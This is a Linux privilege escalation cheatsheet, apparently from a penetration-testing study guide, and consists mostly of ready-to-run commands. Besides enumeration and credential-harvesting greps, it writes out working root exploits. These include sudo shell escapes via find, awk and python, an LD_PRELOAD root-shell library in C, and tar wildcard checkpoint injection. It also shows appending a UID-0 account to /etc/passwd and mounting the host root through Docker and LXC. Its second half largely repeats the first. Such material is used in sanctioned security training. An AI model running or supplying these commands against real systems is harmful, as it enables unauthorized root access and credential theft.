10.9 Linux Privilege Escalation Cheatsheet

Use a reviewed, transferred build in the current host context. Save output and select a concrete finding; a highlight is not the elevated identity.

Reuse discovery: repeated inventory commands are optional only when the relevant saved LinPEAS output is complete, readable and from the same host and identity. Check the build/options used and any errors; a missing finding is not a negative result. Revisit affected checks after a new identity, privilege, mount or service change. Keep the focused validation of every selected candidate.

id
uname -m
sh ./linpeas.sh | tee linpeas.txt

Tool-to-finding workflow.

Discovery may already be covered: reuse captured OS, network, process and mount inventory. Confirm the current identity directly and inspect the actual sudo -l rules; a noninteractive password failure does not establish that no sudo rights exist.

hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l

getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd

Validate the finding: keep the exact-object, parent-directory, ACL and mount checks below. A broad writable-file list does not establish control of a privileged consumer. Repeating the broad writable inventory is optional when equivalent current output is available.

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS
find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null

Discovery may already be covered: use collected file paths and credential candidates to choose a specific readable artifact. Investigate when indicated: inspect the application's real configuration and referenced files; a generic secret search is not complete application coverage. Verify any recovered identity and its relevant access.

history 2>/dev/null
find /home /root -maxdepth 3 -type f \
  \( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
     -o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
  -readable 2>/dev/null
grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
  /var/www /opt /srv /etc 2>/dev/null | head -n 200

ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null
w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null

Run/context: on the Linux foothold, as the identity whose sudo rights you are testing. Decide: an allowed command is only a candidate; resolve its run-as identity and exact argument restrictions. If the attempted operation fails, check effective permissions and the failure map before trying a different permitted operation.

Validate the finding: retain the exact rule, run-as identity, arguments, environment restrictions and allowed execution mode. Reuse a complete current rule listing, but do not substitute a LinPEAS highlight for reading that rule.

sudo -n -l 2>&1
sudo -l
sudo --version

Check: run-as user/group, exact path, arguments/wildcards, password tag, SETENV, env_keep, secure_path, NOEXEC.

sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'

#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

Discovery may already be covered: reuse the SUID/SGID and file-capability inventories if those checks completed. Validate the finding: inspect the selected binary, mount restrictions, namespace, effective capability and privilege-preserving operation before using it.

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

Capability triage:

High priority: cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search,
               cap_sys_ptrace, cap_sys_admin, cap_setfcap, cap_sys_module
Contextual:    cap_net_raw and narrow service capabilities

capsh --print 2>/dev/null
grep '^Cap' /proc/self/status
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Discovery may already be covered: reuse collected cron, timer and service entries. Investigate when indicated: trace suspicious scripts and referenced inputs, or observe transient execution with pspy. A snapshot does not settle short-lived jobs, execution identity or a usable trigger.

crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100
systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles

./pspy64
./pspy64 -pf -i 1000

namei -l /PATH/TO/SCRIPT
stat /PATH/TO/SCRIPT /PATH/TO/PARENT
getfacl -p /PATH/TO/SCRIPT /PATH/TO/PARENT 2>/dev/null

Use the same chain for backup, logrotate, package-maintenance and custom housekeeping hooks.

Investigate when indicated: a writable PATH entry is a lead. Validate the privileged consumer's actual command lookup and environment; your interactive PATH alone does not prove this route.

echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
  [ -z "$d" ] && d=.
  [ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'

printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof

Investigate when indicated: inspect a privileged job that expands controlled filenames. Verify its actual working directory, utility behavior and trigger even if an enumerator identified a wildcard candidate.

grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
  /etc/cron* /etc/systemd /opt /usr/local 2>/dev/null

GNU tar, only in the privileged job's writable working directory:

printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'

Discovery may already be covered: reuse current account/policy-file permission candidates. Validate the finding: verify exact effective write or replacement access and a recovery path before changing an account or policy file.

ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null

cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id

Discovery may already be covered: reuse group membership and socket inventory. Validate the finding: check access to the actual daemon/socket, its authority and host/namespace boundary; a group name or installed client alone is insufficient.

id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh

lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

Discovery may already be covered: reuse the collected mounts and listening endpoints. Investigate when indicated: validate export mappings, service authorization or the privileged program's real library resolution for the selected candidate.

findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp

file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null

grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'

Investigate when indicated: assess an affected build/configuration after stronger permission-backed leads. A version or CVE highlight is a candidate, not proof that the running kernel or package is exploitable.

uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null

searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit

Optional repeated survey: if the initial LinPEAS run completed and its output has been reviewed, do not rerun it unchanged by default. Choose additional collection only for a named gap, unavailable check or changed access context.

./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.9.18.1 Escalate privileges on Linux

id
findmnt
ps auxww
sudo -l

namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS

find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null

ps auxww
history
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null

history 2>/dev/null
find /home /root -maxdepth 3 -type f \
  \( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
     -o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
  -readable 2>/dev/null

grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
  /var/www /opt /srv /etc 2>/dev/null | head -n 200

ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null

w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null

find /home /var/www /opt /srv -type f \
  \( -iname '*.conf' -o -iname '*.ini' -o -iname '*.env' -o -iname '*.bak' \
     -o -iname '*.old' -o -iname '*.key' -o -iname '*.pem' \) 2>/dev/null

rg -ni 'password|passwd|token|secret|api[_-]?key|connection(string)?' \
  /var/www /opt /srv 2>/dev/null

sudo -n -l 2>&1
sudo -l

sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
file /PATH/TO/BINARY

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

getcap -r / 2>/dev/null
capsh --print 2>/dev/null

cat /etc/crontab
systemctl list-timers --all
ps auxww

crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100

systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles

./pspy64
./pspy64 -pf -i 1000

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null

printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
strings /PATH/TO/REVIEWED_BINARY

cat /PATH/TO/REVIEWED_JOB_SCRIPT
ls -la /PATH/TO/JOB_DIRECTORY
namei -l /PATH/TO/JOB_DIRECTORY

stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null

id
ls -l /var/run/docker.sock
cat /proc/1/cgroup

id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null

docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh

lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

findmnt
cat /etc/exports 2>/dev/null
ss -lntup

readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY

uname -a
cat /etc/os-release
getconf LONG_BIT

id
uname -m
command -v bash python3
ls -ld /tmp

sh ./linpeas.sh | tee linpeas.txt

./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt

exact object | effective permission | privileged consumer | identity | trigger | expected effect | manual verification